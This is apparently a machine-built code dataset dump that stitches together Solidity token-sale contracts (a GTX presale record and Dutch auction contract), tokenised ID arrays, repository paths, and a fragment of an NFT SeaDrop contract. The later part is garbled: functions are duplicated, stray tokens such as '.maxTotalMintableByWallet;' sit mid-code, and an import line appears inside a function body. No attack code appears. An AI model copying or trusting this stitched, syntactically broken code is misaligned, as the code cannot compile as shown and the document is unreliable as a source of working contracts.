bonusGTX[_recordAddress] = calculateBonus(_recordAddress); claimableGTX[_recordAddress] = presaleGTX[_recordAddress].add(bonusGTX[_recordAddress]); totalClaimableGTX = totalClaimableGTX.add(claimableGTX[_recordAddress]); require(totalClaimableGTX <= totalPresaleTokens, "total token record (presale GTX + bonus GTX) cannot exceed presale token limit"); emit GTXRecordCreate(_recordAddress, claimableGTX[_recordAddress]); } /** * @dev Used to calculate and update the amount of claimable GTX for those who purchased Tokens during the presale * @param _recordAddress - the registered address where GTX can be claimed from * @param _gtxTokens - the amount of presale GTX tokens, this param should always be entered as Boson (base units) * i.e., 1 GTX = 10**18 Boson */ function recordUpdate(address _recordAddress, uint256 _gtxTokens) public onlyOwner atStage(Stages.Presale){ // minimum allowed GTX 0.000000000001 (in Boson) to avoid large rounding errors require(_gtxTokens >= 100000, "Minimum allowed GTX tokens is 100000 Bosons"); totalClaimableGTX = totalClaimableGTX.sub(claimableGTX[_recordAddress]); presaleGTX[_recordAddress] = _gtxTokens; bonusGTX[_recordAddress] = calculateBonus(_recordAddress); claimableGTX[_recordAddress] = presaleGTX[_recordAddress].add(bonusGTX[_recordAddress]); totalClaimableGTX = totalClaimableGTX.add(claimableGTX[_recordAddress]); require(totalClaimableGTX <= totalPresaleTokens, "total token record (presale GTX + bonus GTX) cannot exceed presale token limit"); emit GTXRecordUpdate(_recordAddress, claimableGTX[_recordAddress]); } /** * @dev Used to move GTX records from one address to another, primarily in case a user has lost access to their originally registered account * @param _oldAddress - the original registered address * @param _newAddress - the new registerd address */ function recordMove(address _oldAddress, address _newAddress) public onlyOwner atStage(Stages.Presale){ require(claimableGTX[_oldAddress] != 0, "cannot move a zero record"); require(claimableGTX[_newAddress] == 0, "destination must not already have a claimable record"); //Moving the Presale GTX presaleGTX[_newAddress] = presaleGTX[_oldAddress]; presaleGTX[_oldAddress] = 0; //Moving the Bonus GTX bonusGTX[_newAddress] = bonusGTX[_oldAddress]; bonusGTX[_oldAddress] = 0; //Moving the claimable GTX claimableGTX[_newAddress] = claimableGTX[_oldAddress]; claimableGTX[_oldAddress] = 0; emit GTXRecordMove(_oldAddress, _newAddress, claimableGTX[_newAddress]); } /** * @dev calculates the bonus percentage based on the total number of GTX tokens * @param _receiver is the registered address for which bonus is calculated * @return returns the calculated bonus tokens */ function calculateBonus(address _receiver) public view returns(uint256 bonus) { uint256 gtxTokens = presaleGTX[_receiver]; for(uint256 i=0; i < bonusThreshold.length; i++) { if(gtxTokens >= bonusThreshold[i]) { bonus = (bonusPercent[i].mul(gtxTokens)).div(100); } } return bonus; } /** * @dev Used to retrieve the total GTX tokens for GTX claiming after the GTX ICO * @return uint256 - Presale stage */ function getStage() public view returns (uint256) { return uint(stage); } } contract GTXAuction is Ownable { using SafeMath for uint256; /* * Events */ event Setup(uint256 etherPrice, uint256 hardCap, uint256 ceiling, uint256 floor, uint256[] bonusThreshold, uint256[] bonusPercent); event BidSubmission(address indexed sender, uint256 amount); event ClaimedTokens(address indexed recipient, uint256 sentAmount); event Collected(address collector, address multiSigAddress, uint256 amount); event SetMultiSigAddress(address owner, address multiSigAddress); /* * Storage */ // GTX Contract objects required to allocate GTX Tokens and FIN converted GTX Tokens GTXToken public ERC20; GTXRecord public gtxRecord; GTXPresale public gtxPresale; // Auction specific uint256 Bid variables uint256 public maxTokens; // the maximum number of tokens for distribution during the auction uint256 public remainingCap; // Remaining amount in wei to reach the hardcap target uint256 public totalReceived; // Keep track of total ETH in Wei received during the bidding phase uint256 public maxTotalClaim; // a running total of the maximum possible tokens that can be claimed by bidder (including bonuses) uint256 public totalAuctionTokens; // Total tokens for the accumulated bid amount and the bonus uint256 public fundsClaimed; // Keep track of cumulative ETH funds for which the tokens have been claimed // Auction specific uint256 Time variables uint256 public startBlock; // the number of the block when the auction bidding period was started uint256 public biddingPeriod; // the number of blocks for the bidding period of the auction uint256 public endBlock; // the last possible block of the bidding period uint256 public waitingPeriod; // the number of days of the cooldown/audit period after the bidding phase has ended // Auction specific uint256 Price variables uint256 public etherPrice; // 2 decimal precision, e.g., $1.00 = 100 uint256 public ceiling; // entered as a paremeter in USD cents; calculated as the equivalent "ceiling" value in ETH - given the etherPrice uint256 public floor; // entered as a paremeter in USD cents; calculated as the equivalent "floor" value in ETH - given the etherPrice uint256 public hardCap; // entered as a paremeter in USD cents; calculated as the equivalent "hardCap" value in ETH - given the etherPrice uint256 public priceConstant; // price calculation factor to generate the price curve per block uint256 public finalPrice; // the final Bid Price achieved uint256 constant public WEI_FACTOR = 10**18; // wei conversion factor //generic variables uint256 public participants; address public multiSigAddress; // a multisignature contract address to keep the auction funds // Auction maps to calculate Bids and Bonuses mapping (address => uint256) public bids; // total bids in wei per account mapping (address => uint256) public bidTokens; // tokens calculated for the submitted bids mapping (address => uint256) public totalTokens; // total tokens is the accumulated tokens of bidTokens, presaleTokens, gtxrecordTokens and bonusTokens mapping (address => bool) public claimedStatus; // claimedStatus is the claimed status of the user // Map of whitelisted address for participation in the Auction mapping (address => bool) public whitelist; // Auction arrays for bid amount based Bonus calculation uint256[11] public bonusPercent; // 11 possible bonus percentages (with values 0 - 100 each) uint256[11] public bonusThresholdWei; // 11 thresholds values to calculate bonus based on the bid amount in wei. // Enums for Stages Stages public stage; /* * Enums */ enum Stages { AuctionDeployed, AuctionSetUp, AuctionStarted, AuctionEnded, ClaimingStarted, ClaimingEnded } /* * Modifiers */ modifier atStage(Stages _stage) { require(stage == _stage, "not the expected stage"); _; } modifier timedTransitions() { if (stage == Stages.AuctionStarted && block.number >= endBlock) { finalizeAuction(); msg.sender.transfer(msg.value); return; } if (stage == Stages.AuctionEnded && block.number >= endBlock.add(waitingPeriod)) { stage = Stages.ClaimingStarted; } _; } modifier onlyWhitelisted(address _participant) { require(whitelist[_participant] == true, "account is not white listed"); _; } /// GTXAuction Contract Constructor /// @dev Constructor sets the basic auction information /// @param _gtxToken the GTX ERC20 token contract address /// @param _gtxRecord the GTX Record contract address /// @param _gtxPresale the GTX presale contract address /// @param _biddingPeriod the number of blocks the bidding period of the auction will run - Initial decision of 524160 (~91 Days) /// @param _waitingPeriod the waiting period post Auction End before claiming - Initial decision of 172800 (-30 days) constructor ( GTXToken _gtxToken, GTXRecord _gtxRecord, GTXPresale _gtxPresale, uint256 _biddingPeriod, uint256 _waitingPeriod ) public { require(_gtxToken != address(0), "Must provide a Token address"); require(_gtxRecord != address(0), "Must provide a Record address"); require(_gtxPresale != address(0), "Must provide a PreSale address"); require(_biddingPeriod > 0, "The bidding period must be a minimum 1 block"); require(_waitingPeriod > 0, "The waiting period must be a minimum 1 block"); ERC20 = _gtxToken; gtxRecord = _gtxRecord; gtxPresale = _gtxPresale; waitingPeriod = _waitingPeriod; biddingPeriod = _biddingPeriod; uint256 gtxSwapTokens = gtxRecord.maxRecords(); uint256 gtxPresaleTokens = gtxPresale.totalPresaleTokens(); maxTotalClaim = maxTotalClaim.add(gtxSwapTokens).add(gtxPresaleTokens); // Set the contract stage to Auction Deployed stage = Stages.AuctionDeployed; } // fallback to revert ETH sent to this contract function () public payable { bid(msg.sender); } /** * @dev Safety function for reclaiming ERC20 tokens * @param _token address of the ERC20 contract */ function recoverTokens(ERC20Interface _token) external onlyOwner { if(address(_token) == address(ERC20)) { require(uint(stage) >= 3, "auction bidding must be ended to recover"); if(currentStage() == 3 || currentStage() == 4) { _token.transfer(owner(), _token.balanceOf(address(this)).sub(maxTotalClaim)); } else { _token.transfer(owner(), _token.balanceOf(address(this))); } } else { _token.transfer(owner(), _token.balanceOf(address(this))); } } /// @dev Function to whitelist participants during the crowdsale /// @param _bidder_addresses Array of addresses to whitelist function addToWhitelist(address[] _bidder_addresses) external onlyOwner { for (uint32 i = 0; i < _bidder_addresses.length; i++) { if(_bidder_addresses[i] != address(0) && whitelist[_bidder_addresses[i]] == false){ whitelist[_bidder_addresses[i]] = true; } } } /// @dev Function to remove the whitelististed participants /// @param _bidder_addresses is an array of accounts to remove form the whitelist function removeFromWhitelist(address[] _bidder_addresses) external onlyOwner { for (uint32 i = 0; i < _bidder_addresses.length; i++) { if(_bidder_addresses[i] != address(0) && whitelist[_bidder_addresses[i]] == true){ whitelist[_bidder_addresses[i]] = false; } } } /// @dev Setup function sets eth pricing information and the floor and ceiling of the Dutch auction bid pricing /// @param _maxTokens the maximum public allocation of tokens - Initial decision for 400 Million GTX Tokens to be allocated for ICO /// @param _etherPrice for calculating Gallactic Auction price curve - Should be set 1 week before the auction starts, denominated in USD cents /// @param _hardCap Gallactic Auction maximum accepted total contribution - Initial decision to be $100,000,000.00 or 10000000000 (USD cents) /// @param _ceiling Gallactic Auction Price curve ceiling price - Initial decision to be 500 (USD cents) /// @param _floor Gallactic Auction Price curve floor price - Initial decision to be 30 (USD cents) /// @param _bonusThreshold is an array of thresholds for the bid amount to set the bonus% (thresholds entered in USD cents, converted to ETH equivalent based on ETH price) /// @param _bonusPercent is an array of bonus% based on the threshold of bid function setup( uint256 _maxTokens, uint256 _etherPrice, uint256 _hardCap, uint256 _ceiling, uint256 _floor, uint256[] _bonusThreshold, uint256[] _bonusPercent ) external onlyOwner atStage(Stages.AuctionDeployed) returns (bool) { require(_maxTokens > 0,"Max Tokens should be > 0"); require(_etherPrice > 0,"Ether price should be > 0"); require(_hardCap > 0,"Hard Cap should be > 0"); require(_floor < _ceiling,"Floor must be strictly less than the ceiling"); require(_bonusPercent.length == 11 && _bonusThreshold.length == 11, "Length of bonus percent array and bonus threshold should be 11"); maxTokens = _maxTokens; etherPrice = _etherPrice; // Allocate Crowdsale token amounts (Permissible only to this GTXAuction Contract) // Address needs to be set in GTXToken before Auction Setup) ERC20.passAuctionAllocation(maxTokens); // Validate allocation amount require(ERC20.balanceOf(address(this)) == ERC20.getAuctionAllocation(), "Incorrect balance assigned by auction allocation"); // ceiling, floor, hardcap and bonusThreshholds in Wei and priceConstant setting ceiling = _ceiling.mul(WEI_FACTOR).div(_etherPrice); // result in WEI floor = _floor.mul(WEI_FACTOR).div(_etherPrice); // result in WEI hardCap = _hardCap.mul(WEI_FACTOR).div(_etherPrice); // result in WEI for (uint32 i = 0; i<_bonusPercent.length; i++) { bonusPercent[i] = _bonusPercent[i]; bonusThresholdWei[i] = _bonusThreshold[i].mul(WEI_FACTOR).div(_etherPrice); } remainingCap = hardCap.sub(remainingCap); // used for the bidding price curve priceConstant = (biddingPeriod**3).div((biddingPeriod.add(1).mul(ceiling).div(floor)).sub(biddingPeriod.add(1))); // Initializing Auction Setup Stage stage = Stages.AuctionSetUp; emit Setup(_etherPrice,_hardCap,_ceiling,_floor,_bonusThreshold,_bonusPercent); } /// @dev Changes auction price curve variables before auction is started. /// @param _etherPrice New Ether Price in Cents. /// @param _hardCap New hardcap amount in Cents. /// @param _ceiling New auction ceiling price in Cents. /// @param _floor New auction floor price in Cents. /// @param _bonusThreshold is an array of thresholds for the bid amount to set the bonus% /// @param _bonusPercent is an array of bonus% based on the threshold of bid function changeSettings( uint256 _etherPrice, uint256 _hardCap, uint256 _ceiling, uint256 _floor, uint256[] _bonusThreshold, uint256[] _bonusPercent ) external onlyOwner atStage(Stages.AuctionSetUp) { require(_etherPrice > 0,"Ether price should be > 0"); require(_hardCap > 0,"Hard Cap should be > 0"); require(_floor < _ceiling,"floor must be strictly less than the ceiling"); require(_bonusPercent.length == _bonusThreshold.length, "Length of bonus percent array and bonus threshold should be equal"); etherPrice = _etherPrice; ceiling = _ceiling.mul(WEI_FACTOR).div(_etherPrice); // recalculate ceiling, result in WEI floor = _floor.mul(WEI_FACTOR).div(_etherPrice); // recalculate floor, result in WEI hardCap = _hardCap.mul(WEI_FACTOR).div(_etherPrice); // recalculate hardCap, result in WEI for (uint i = 0 ; i<_bonusPercent.length; i++) { bonusPercent[i] = _bonusPercent[i]; bonusThresholdWei[i] = _bonusThreshold[i].mul(WEI_FACTOR).div(_etherPrice); } remainingCap = hardCap.sub(remainingCap); // recalculate price constant priceConstant = (biddingPeriod**3).div((biddingPeriod.add(1).mul(ceiling).div(floor)).sub(biddingPeriod.add(1))); emit Setup(_etherPrice,_hardCap,_ceiling,_floor,_bonusThreshold,_bonusPercent); } /// @dev Starts auction and sets startBlock and endBlock. function startAuction() public onlyOwner atStage(Stages.AuctionSetUp) { // set the stage to Auction Started and bonus stage to First Stage stage = Stages.AuctionStarted; startBlock = block.number; endBlock = startBlock.add(biddingPeriod); } /// @dev Implements a moratorium on claiming so that company can eventually recover all remaining tokens (in case of lost accounts who can/will never claim) - any remaining claims must contact the company directly function endClaim() public onlyOwner atStage(Stages.ClaimingStarted) { require(block.number >= endBlock.add(biddingPeriod), "Owner can end claim only after 3 months"); //Owner can force end the claim only after 3 months. This is to protect the owner from ending the claim before users could claim // set the stage to Claiming Ended stage = Stages.ClaimingEnded; } /// @dev setup multisignature address to keep the funds safe /// @param _multiSigAddress is the multisignature contract address /// @return true if the address was set successfully function setMultiSigAddress(address _multiSigAddress) external onlyOwner returns(bool){ require(_multiSigAddress != address(0), "not a valid multisignature address"); multiSigAddress = _multiSigAddress; emit SetMultiSigAddress(msg.sender,multiSigAddress); return true; } // Owner can collect ETH any number of times function collect() external onlyOwner returns (bool) { require(multiSigAddress != address(0), "multisignature address is not set"); multiSigAddress.transfer(address(this).balance); emit Collected(msg.sender, multiSigAddress, address(this).balance); return true; } /// @dev Allows to send a bid to the auction. /// @param _receiver Bid will be assigned to this address if set. function bid(address _receiver) public payable timedTransitions atStage(Stages.AuctionStarted) { require(msg.value > 0, "bid must be larger than 0"); require(block.number <= endBlock ,"Auction has ended"); if (_receiver == 0x0) { _receiver = msg.sender; } assert(bids[_receiver].add(msg.value) >= msg.value); uint256 maxWei = hardCap.sub(totalReceived); // remaining accetable funds without the current bid value require(msg.value <= maxWei, "Hardcap limit will be exceeded"); participants = participants.add(1); bids[_receiver] = bids[_receiver].add(msg.value); uint256 maxAcctClaim = bids[_receiver].mul(WEI_FACTOR).div(calcTokenPrice(endBlock)); // max claimable tokens given bids total amount maxAcctClaim = maxAcctClaim.add(bonusPercent[10].mul(maxAcctClaim).div(100)); // max claimable tokens (including bonus) maxTotalClaim = maxTotalClaim.add(maxAcctClaim); // running total of max claim liability totalReceived = totalReceived.add(msg.value); remainingCap = hardCap.sub(totalReceived); if(remainingCap == 0){ finalizeAuction(); // When maxWei is equal to the hardcap the auction will end and finalizeAuction is triggered. } assert(totalReceived >= msg.value); emit BidSubmission(_receiver, msg.value); } /// @dev Claims tokens for bidder after auction. function claimTokens() public timedTransitions onlyWhitelisted(msg.sender) atStage(Stages.ClaimingStarted) { require(!claimedStatus[msg.sender], "User already claimed"); // validate that GTXRecord contract has been locked - set to true require(gtxRecord.lockRecords(), "gtx records record updating must be locked"); // validate that GTXPresale contract has been locked - set to true require(gtxPresale.lockRecords(), "presale record updating must be locked"); // Update the total amount of ETH funds for which tokens have been claimed fundsClaimed = fundsClaimed.add(bids[msg.sender]); //total tokens accumulated for an user uint256 accumulatedTokens = calculateTokens(msg.sender); // Set receiver bid to 0 before assigning tokens bids[msg.sender] = 0; totalTokens[msg.sender] = 0; claimedStatus[msg.sender] = true; require(ERC20.transfer(msg.sender, accumulatedTokens), "transfer failed"); emit ClaimedTokens(msg.sender, accumulatedTokens); assert(bids[msg.sender] == 0); } /// @dev calculateTokens calculates the sum of GTXRecord Tokens, Presale Tokens, BidTokens and Bonus Tokens /// @param _receiver is the address of the receiver to calculate the tokens. function calculateTokens(address _receiver) private returns(uint256){ // Check for GTX Record Tokens uint256 gtxRecordTokens = gtxRecord.claimableGTX(_receiver); // Check for Presale Record Tokens uint256 gtxPresaleTokens = gtxPresale.claimableGTX(_receiver); //Calculate the total bid tokens bidTokens[_receiver] = bids[_receiver].mul(WEI_FACTOR).div(finalPrice); //Calculate the total bonus tokens for the bids uint256 bonusTokens = calculateBonus(_receiver); uint256 auctionTokens = bidTokens[_receiver].add(bonusTokens); totalAuctionTokens = totalAuctionTokens.add(auctionTokens); //Sum all the tokens accumulated totalTokens[msg.sender] = gtxRecordTokens.add(gtxPresaleTokens).add(auctionTokens); return totalTokens[msg.sender]; } /// @dev Finalize the Auction and set the final token price /// no more bids allowed function finalizeAuction() private { // remainingFunds should be 0 at this point require(remainingCap == 0 || block.number >= endBlock, "cap or block condition not met"); stage = Stages.AuctionEnded; if (block.number < endBlock){ finalPrice = calcTokenPrice(block.number); endBlock = block.number; } else { finalPrice = calcTokenPrice(endBlock); } } /// @dev calculates the bonus for the total bids /// @param _receiver is the address of the bidder to calculate the bonus /// @return returns the calculated bonus tokens function calculateBonus(address _receiver) private view returns(uint256 bonusTokens){ for (uint256 i=0; i < bonusThresholdWei.length; i++) { if(bids[_receiver] >= bonusThresholdWei[i]){ bonusTokens = bonusPercent[i].mul(bidTokens[_receiver]).div(100); // bonusAmount is calculated in wei } } return bonusTokens; } // public getters /// @dev Calculates the token price (WEI per GTX) at the given block number /// @param _bidBlock is the block number /// @return Returns the token price - Wei per GTX function calcTokenPrice(uint256 _bidBlock) public view returns(uint256){ require(_bidBlock >= startBlock && _bidBlock <= endBlock, "pricing only given in the range of startBlock and endBlock"); uint256 currentBlock = _bidBlock.sub(startBlock); uint256 decay = (currentBlock ** 3).div(priceConstant); return ceiling.mul(currentBlock.add(1)).div(currentBlock.add(decay).add(1)); } /// @dev Returns correct stage, even if a function with a timedTransitions modifier has not been called yet /// @return Returns current auction stage. function currentStage() public view returns (uint) { return uint(stage); } }
check GTX Record creation has stopped.
function passAuctionAllocation(uint256 _auctionAllocation) public onlyAuction { require(gtxRecord.lockRecords() == true, "GTXRecord contract lock state should be true"); uint256 gtxRecordTotal = gtxRecord.totalClaimableGTX(); uint256 gtxPresaleTotal = gtxPresale.totalPresaleTokens(); totalAllocation = _auctionAllocation.add(gtxRecordTotal).add(gtxPresaleTotal); require(totalAllocation <= totalSupply_, "totalAllocation must be less than totalSupply"); balances[gtxAuctionContract] = totalAllocation; emit Transfer(address(0), gtxAuctionContract, totalAllocation); uint256 remainingTokens = totalSupply_.sub(totalAllocation); balances[owner()] = remainingTokens; emit Transfer(address(0), owner(), totalAllocation); }
5,510,265
[ 1, 1893, 611, 16556, 5059, 6710, 711, 9627, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1342, 37, 4062, 17353, 12, 11890, 5034, 389, 69, 4062, 17353, 13, 1071, 1338, 37, 4062, 288, 203, 3639, 2583, 12, 75, 978, 2115, 18, 739, 6499, 1435, 422, 638, 16, 315, 16506, 60, 2115, 6835, 2176, 919, 1410, 506, 638, 8863, 203, 203, 3639, 2254, 5034, 314, 978, 2115, 5269, 273, 314, 978, 2115, 18, 4963, 9762, 429, 16506, 60, 5621, 203, 3639, 2254, 5034, 314, 978, 12236, 5349, 5269, 273, 314, 978, 12236, 5349, 18, 4963, 12236, 5349, 5157, 5621, 203, 203, 3639, 2078, 17353, 273, 389, 69, 4062, 17353, 18, 1289, 12, 75, 978, 2115, 5269, 2934, 1289, 12, 75, 978, 12236, 5349, 5269, 1769, 203, 3639, 2583, 12, 4963, 17353, 1648, 2078, 3088, 1283, 67, 16, 315, 4963, 17353, 1297, 506, 5242, 2353, 2078, 3088, 1283, 8863, 203, 3639, 324, 26488, 63, 75, 978, 37, 4062, 8924, 65, 273, 2078, 17353, 31, 203, 3639, 3626, 12279, 12, 2867, 12, 20, 3631, 314, 978, 37, 4062, 8924, 16, 2078, 17353, 1769, 203, 3639, 2254, 5034, 4463, 5157, 273, 2078, 3088, 1283, 27799, 1717, 12, 4963, 17353, 1769, 203, 3639, 324, 26488, 63, 8443, 1435, 65, 273, 4463, 5157, 31, 203, 3639, 3626, 12279, 12, 2867, 12, 20, 3631, 3410, 9334, 2078, 17353, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/421613/0xE6Db969E4d0615F1A6071e8F806055662676cEF6/sources/contracts/protocol/libraries/logic/ReserveLogic.sol
Multiplying with timeDifference will help us to prevent manipulation of the formula (timeDifference/MaxTimeDifference)
params.difference = params.timeDifference.mul(params.difference).div(maxTimeDifference);
16,825,133
[ 1, 26040, 310, 598, 813, 16220, 903, 2809, 584, 358, 5309, 27029, 434, 326, 8013, 261, 957, 16220, 19, 2747, 950, 16220, 13, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 859, 18, 23444, 273, 859, 18, 957, 16220, 18, 16411, 12, 2010, 18, 23444, 2934, 2892, 12, 1896, 950, 16220, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x7255e21e25e6b3d669Cc2a2A09697881b621F39d/sources/src/ERC721PartnerSeaDrop.sol
* @title ERC721PartnerSeaDrop @author James Wenzel (emo.eth) @author Ryan Ghods (ralxz.eth) @author Stephan Min (stephanm.eth) @notice ERC721PartnerSeaDrop is a token contract that contains methods to properly interact with SeaDrop, with additional administrative functionality tailored for business requirements around partnered mints with off-chain agreements in place between two parties. The "Owner" should control mint specifics such as price and start. The "Administrator" should control fee parameters. Otherwise, for ease of administration, either Owner or Administrator should be able to configure mint parameters. They have the ability to override each other's actions in many circumstances, which is why the establishment of off-chain trust is important. Note: An Administrator is not required to interface with SeaDrop./
contract ERC721PartnerSeaDrop is ERC721SeaDrop, TwoStepAdministered { error AdministratorMustInitializeWithFee(); constructor( string memory name, string memory symbol, address administrator, address[] memory allowedSeaDrop ) ERC721SeaDrop(name, symbol, allowedSeaDrop) TwoStepAdministered(administrator) function mintSeaDrop(address minter, uint256 quantity) external virtual override import { TwoStepAdministered } from "utility-contracts/TwoStepAdministered.sol"; {} { _onlyAllowedSeaDrop(msg.sender); if (_totalMinted() + quantity > maxSupply()) { revert MintQuantityExceedsMaxSupply( _totalMinted() + quantity, maxSupply() ); } } { _onlyAllowedSeaDrop(msg.sender); if (_totalMinted() + quantity > maxSupply()) { revert MintQuantityExceedsMaxSupply( _totalMinted() + quantity, maxSupply() ); } } _mint(minter, quantity); function updateAllowedSeaDrop(address[] calldata allowedSeaDrop) external override onlyOwnerOrAdministrator { _updateAllowedSeaDrop(allowedSeaDrop); } function updatePublicDrop( address seaDropImpl, PublicDrop calldata publicDrop ) external virtual override onlyOwnerOrAdministrator { _onlyAllowedSeaDrop(seaDropImpl); PublicDrop memory retrieved = ISeaDrop(seaDropImpl).getPublicDrop( address(this) ); PublicDrop memory supplied = publicDrop; if (msg.sender != administrator) { if (retrieved.maxTotalMintableByWallet == 0) { revert AdministratorMustInitializeWithFee(); } supplied.feeBps = retrieved.feeBps; supplied.restrictFeeRecipients = true; .maxTotalMintableByWallet; retrieved.maxTotalMintableByWallet = maxTotalMintableByWallet > 0 ? maxTotalMintableByWallet : 1; retrieved.feeBps = supplied.feeBps; retrieved.restrictFeeRecipients = true; supplied = retrieved; } } function updatePublicDrop( address seaDropImpl, PublicDrop calldata publicDrop ) external virtual override onlyOwnerOrAdministrator { _onlyAllowedSeaDrop(seaDropImpl); PublicDrop memory retrieved = ISeaDrop(seaDropImpl).getPublicDrop( address(this) ); PublicDrop memory supplied = publicDrop; if (msg.sender != administrator) { if (retrieved.maxTotalMintableByWallet == 0) { revert AdministratorMustInitializeWithFee(); } supplied.feeBps = retrieved.feeBps; supplied.restrictFeeRecipients = true; .maxTotalMintableByWallet; retrieved.maxTotalMintableByWallet = maxTotalMintableByWallet > 0 ? maxTotalMintableByWallet : 1; retrieved.feeBps = supplied.feeBps; retrieved.restrictFeeRecipients = true; supplied = retrieved; } } function updatePublicDrop( address seaDropImpl, PublicDrop calldata publicDrop ) external virtual override onlyOwnerOrAdministrator { _onlyAllowedSeaDrop(seaDropImpl); PublicDrop memory retrieved = ISeaDrop(seaDropImpl).getPublicDrop( address(this) ); PublicDrop memory supplied = publicDrop; if (msg.sender != administrator) { if (retrieved.maxTotalMintableByWallet == 0) { revert AdministratorMustInitializeWithFee(); } supplied.feeBps = retrieved.feeBps; supplied.restrictFeeRecipients = true; .maxTotalMintableByWallet; retrieved.maxTotalMintableByWallet = maxTotalMintableByWallet > 0 ? maxTotalMintableByWallet : 1; retrieved.feeBps = supplied.feeBps; retrieved.restrictFeeRecipients = true; supplied = retrieved; } } } else { uint16 maxTotalMintableByWallet = retrieved ISeaDrop(seaDropImpl).updatePublicDrop(supplied); function updateAllowList( address seaDropImpl, AllowListData calldata allowListData ) external virtual override onlyOwnerOrAdministrator { _onlyAllowedSeaDrop(seaDropImpl); ISeaDrop(seaDropImpl).updateAllowList(allowListData); } function updateTokenGatedDrop( address seaDropImpl, address allowedNftToken, TokenGatedDropStage calldata dropStage ) external virtual override onlyOwnerOrAdministrator { _onlyAllowedSeaDrop(seaDropImpl); TokenGatedDropStage memory retrieved = ISeaDrop(seaDropImpl) .getTokenGatedDrop(address(this), allowedNftToken); TokenGatedDropStage memory supplied = dropStage; if (msg.sender != administrator) { if (retrieved.maxTotalMintableByWallet == 0) { revert AdministratorMustInitializeWithFee(); } 